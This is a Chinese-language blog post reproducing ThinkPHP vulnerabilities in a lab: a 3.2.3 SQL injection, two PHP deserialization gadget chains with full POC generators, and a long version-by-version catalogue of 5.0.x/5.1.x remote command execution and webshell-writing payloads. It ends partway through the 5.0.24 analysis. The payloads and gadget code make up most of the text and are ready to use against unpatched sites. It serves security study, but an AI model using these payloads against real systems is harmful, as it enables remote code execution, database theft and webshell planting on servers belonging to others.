Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

漏洞环境安装

这里大部分环境可以用下面这段命令进行安装

1
composer create-project topthink/think=版本号 文件名

这里部分环境可能无法实现安装,只需要稍微改一下命令即可

1
composer create-project topthink/thinkphp=版本号 文件名

漏洞复现

thinkphp3.2.3 where注入

这里环境搭好后,php think run用不了,这里借用小皮直接访问即可

漏洞利用

需要先来连接数据库

Application/Common/Conf/config.php

1
2
3
4
5
6
7
8
'DB_TYPE' => 'mysql', //数据库类型
'DB_HOST' => 'localhost', //服务器地址
'DB_NAME' => 'thinkphp', //数据库名
'DB_USER' => 'root', //用户名
'DB_PWD' => 'root', //密码
'DB_PORT' => 3306, //端口
'DB_PREFIX' => 'think_', //数据库表前缀
'DB_CHARSET'=> 'utf8', //字符集

配置控制器,这里需要先访问一下Application,,会自动生成模块

Application/Home/Controller/IndexController.class.php

1
2
$data = M('users')->find(I('GET.id'));
var_dump($data);

可以简单的访问一下,看一下还有没有问题(这里必须按照顺序来,否则自动生成的模块连接数据库会出现问题,修改会有点麻烦)

227

漏洞复现

可以直接构造mysql报错注入

1
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

228

漏洞分析

这里调用I()方法,而在I()方法的最后会对每一个数组参数进行使用think_filter()函数

1
2
3
4
5
6
7
8
9
function think_filter(&$value)
{
// TODO 其他安全过滤

// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}

think_filter()函数是一个简单的黑名单过滤,这里过滤了一些特殊字符,但很明显这个过滤并不充分,updatexml()之类的函数并没有被过滤掉,从而造成注入的可能

然后调用了find()函数,直接进行跟踪

229

可以看到经过_parseOptions()方法,跟踪_parseOptions()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
}
unset($options['where'][$key]);
}
}
}

当满足if (in_array($key, $fields, true))时,就会调用_parseType()这里继续跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
}

id进行强制类型转换,然后返回,带入到$this->db->select($options)进行查询

总结一下I() -> find() -> _parseOptions() -> _parseType()然后满足

1
(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])

所有构造

1
id[where]=1 and 1=1

就可以注入了

Thinkphp3.2.3 反序列化

题目做到了,过来做个框架的整体复现

漏洞利用

Application/Home/Controller/HelloController.class.php修改入口文件

1
2
3
4
public function index()
{
unserialize(base64_decode($_GET[1]));
}

漏洞复现

MySQL恶意服务端读取客户端文件漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

漏洞分析

老规矩,先全局搜索__destruct()

1
2
3
4
public function __destruct()
{
empty($this->img) || $this->img->destroy();
}

$img 可控,跟踪destroy()方法,发现没有声明,那我们就全局搜索一下

跟进到ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

1
2
3
4
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}

其中的$this->handle$this->sessionName是可控的,然后调用了delete函数,跟进到ThinkPHP/Mode/Lite/Model.class.php

1
2
3
4
5
6
7
8
9
10
public function delete($options = array())
{
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]);
} else {
return false;
}

调用getPk()

1
2
3
4
public function getPk()
{
return $this->pk;
}

$this->pk可控,所以**$pk**是可控的,我们接着看下面的代码

return $this->delete($this->data[$pk]);再次调用delete函数,而这时delete函数中的$this->data[$pk]可控

这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去,且上面的一堆条件判断很显然都是我们可以控制的包括调用$this->db->delete($options)时的$options参数我们也可控

现在我们就可以调用任意自带的数据库类中的delete()方法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public function delete($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
if (strpos($table, ',')) {
// 多表删除支持USING和JOIN操作
if (!empty($options['using'])) {
$sql .= ' USING ' . $this->parseTable($options['using']) . ' ';
}
$sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
}
$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
if (!strpos($table, ',')) {
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
. $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
}
$sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}

重点来看这几句代码

1
2
3
4
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM ' . $table;
...
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);

$sql是由**’DELETE FROM ‘$table拼接而来的,而$table等于的是调用了parseTable**方法后的值

我们跟进到parseTable方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    protected function parseTable($tables)
{
if (is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table => $alias) {
if (!is_numeric($table)) {
$array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
} else {
$array[] = $this->parseKey($alias);
}

}
$tables = $array;
} elseif (is_string($tables)) {
$tables = explode(',', $tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',', $tables);
}

$tables由**$array得到,$array调用parseKey方法获得,跟进parseKey**方法

1
2
3
4
protected function parseKey(&$key)
{
return $key;
}

直接返回$key,回到delete()方法,$sql 最终被传入$this->execute($sql, !empty($options['fetch_sql']) ? true : false);

其中调用execute方法,跟进一下

1
2
3
4
5
6
public function execute($str, $fetchSql = false)
{
$this->initConnect(true);
if (!$this->_linkID) {
return false;
}

继续跟进initConnect方法

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function initConnect($master = true)
{
if (!empty($this->config['deploy']))
// 采用分布式数据库
{
$this->_linkID = $this->multiConnect($master);
} else
// 默认单数据库
if (!$this->_linkID) {
$this->_linkID = $this->connect();
}

}

调用connect()函数,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function connect($config = '', $linkNum = 0, $autoConnection = false)
{
if (!isset($this->linkID[$linkNum])) {
if (empty($config)) {
$config = $this->config;
}

try {
if (empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
// 禁用模拟预处理语句
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
} catch (\PDOException $e) {
if ($autoConnection) {
trace($e->getMessage(), '', 'ERR');
return $this->connect($autoConnection, $linkNum);
} elseif ($config['debug']) {
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}

这里使用 **$config = $this->config;**去创建数据库连接,接着执行DELETESQL语句

那这里我们只需要配置mysql类下的配置即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}

稍微整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class wind
{
public $data = array();
public $pk;
public function test()
{
$pk = $this->pk;
return $this->delete($this->data[$pk]);
}
public function delete($options = array()) //这里的$options就是上面的$this->data[$pk],可控
{
$table = $this->parseTable($options['table']);
var_dump($table);
}
public function __construct()
{
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "test sql",
);
}
public function parseKey(&$key)
{
return $key;
}
public function parseTable($tables)
{
if (is_array($tables)) {
// 支持别名定义
$array = array();
foreach ($tables as $table => $alias) {
if (!is_numeric($table)) {
$array[] = $this->parseKey($table) . ' ' . $this->parseKey($alias);
} else {
$array[] = $this->parseKey($alias);
}

}
$tables = $array;
print_r($tables);
} elseif (is_string($tables)) {
$tables = explode(',', $tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',', $tables);
}
}
$wind=new wind();
$wind->test();

这里我们构造报错注入

1
2
3
$this->data[$this->pk] = array(
"table" => "name where 1=updatexml(1,user(),1)#",
"where" => "1=1"

Thinkphp5 RCE漏洞

嗯….这里用指令安装的环境好像有问题,部分环境的核心文件存在问题,这里就需要自己找一下环境安装

先大体讲一下thinkphp5.X 中的RCE漏洞主要影响范围在 ThinkPHP 5.0-5.0.23 ThinkPHP 5.1-5.1.31

由于漏洞出发点和版本不同导致payload分为多种

5.0.x :

1
2
3
4
5
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

5.1.x :

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id`

还要一种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

这里就简单梳理一下

$this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch['type'] 等于controller或者 method 时也会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce。

再贴一下

226

这里我就用5.0.5来举个例子

Thinkphp5.0.5

简单做个代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}

var_method是个伪全局变量,值为_method,这里就可以通过POST传参传入_method从而改变$this->{$this->method}($_POST);,调用该类中的方法

1
2
3
4
5
6
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}

$this->$name = $item;可以造成类属性覆盖,Request类的所有属性如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected $get                  protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;

由于thinkphp的运行流程为单程序入口,我们看一下index.php

1
2
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

提示我们框架引导文件位置

1
2
// 执行应用
App::run()->send();

可以发现其实就是调用了几个函数,我们跟踪一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static function run(Request $request = null){
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
}
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->param)) {
$method = $this->method(true);
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = array_merge($this->param, $file);
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);

跟进 param可以发现调用了method (因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数。)

这里再次回到method方法,可以发现调用 server 方法

1
2
3
4
5
6
7
8
9
10
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

而在 server 方法中把 $this->server 传入了 input 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function input($data = [], $name = '', $default = null, $filter = '')
{
if ('' != $name) {
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
}
}
if (is_object($data)) {
return $data;
}
}

// 解析过滤器
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter)) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
}

这里的 $this->server我们可以通过先前的 Request 类的 __construct 方法来覆盖赋值

可控数据作为 $data 传入 input 方法,然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。

1
2
3
4
5
6
7
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);

filterValue 方法调用 call_user_func 处理数据,从而产生RCE

1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

225

除了这个,发现一个也可以利用(主要是一开始发现php的版本不对,getclass()函数被废弃)

224

其他版本这里就简单写一下rce方式

5.0

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.1

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.2

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.3

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.4

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.5

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.6

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert 
5.0.7

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.8

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.9

debug 无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.10

从5.0.10开始默认debug=false,debug无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.11

默认debug=false,debug无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.12

默认debug=false,debug无关 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.13

默认debug=false,需要开启debug 命令执行

1
POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami c=system&f=calc&_method=filter

写shell

1
POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
1
2
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.13版本之后需要开启debug才能rce

5.0.14
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.15
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.16
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.17
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.18
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.19
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.20
1
2
3
4
5
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.21
1
2
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

1
2
POST 
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')
5.0.22
1
2
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

1
2
POST 
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')
5.0.23
1
2
POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

1
2
POST 
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')
5.0.24

作为5.0.x的最后一个版本,rce被修复

5.1.0
1
2
POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

写shell

1
2
POST 
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.1.1
1
2
POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

写shell

1
2
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
补充

有captcha路由时无需debug=true

1
2
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

Payload总结

1、<= 5.0.13

1
2
3
POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system

2、<= 5.0.23、5.1.0 <= 5.1.16

  • 开启debug()
1
2
3
POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他。

1
2
3
POST /?s=captcha HTTP/1.1

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

4、5.0.0 <= version <= 5.1.32

  • error_reporting(0)关闭报错
1
2
3
POST /

c=exec&f=calc.exe&_method=filter

Thinkphp5.0.24 反序列化漏洞

漏洞利用

由于漏洞是框架反序列化,需要构造漏洞代码,这里在入口文件的地方写入一个反序列化函数

1
2
3
4
5
6
7
8
class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24"
unserialize(base64_decode($_GET['a']));
}
}
漏洞复现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
namespace think\process\pipes;

use think\model\Pivot;

class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think;

use think\console\Output;
use think\model\relation\HasOne;

abstract class Model implements \JsonSerializable, \ArrayAccess
{
protected $append = [];
protected $error;
public $parent;
public function __construct()
{
$this->append = ["getError"];
$this->error = new HasOne();
$this->parent = new Output();
}
}

namespace think\model\relation;

use think\model\Relation;

abstract class OneToOne extends Relation
{

protected $bindAttr = [];
function __construct()
{
parent::__construct();
$this->bindAttr = ["seizer", "seizer"];
}
}

class HasOne extends OneToOne
{
function __construct()
{
parent::__construct();
}
}

namespace think\model;

use think\db\Query;

abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
}
}

namespace think\db;

use think\console\Output;

class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}

namespace think\session\driver;

use SessionHandler;
use think\cache\driver\File;

class Memcache extends SessionHandler
{
protected $handler = null;
public function __construct()
{
$this->handler = new File();
}
}

namespace think\cache\driver;

use think\cache\Driver;

class File extends Driver
{
protected $options = [];
public function __construct()
{
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
}
}

namespace think\cache;

abstract class Driver
{
protected $tag;
public function __construct()
{
$this->tag = true;
}
}

use think\process\pipes\Windows;

echo urlencode(serialize(new Windows()));
漏洞分析

反序列化漏洞起始为__destruct或者__wakeup,全局搜索__destruct,找到thinkphp/library/think/process/pipes/Windows.php

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

跟踪removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

file_exists()函数可以触发__toString()方法,这里先写一部分poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
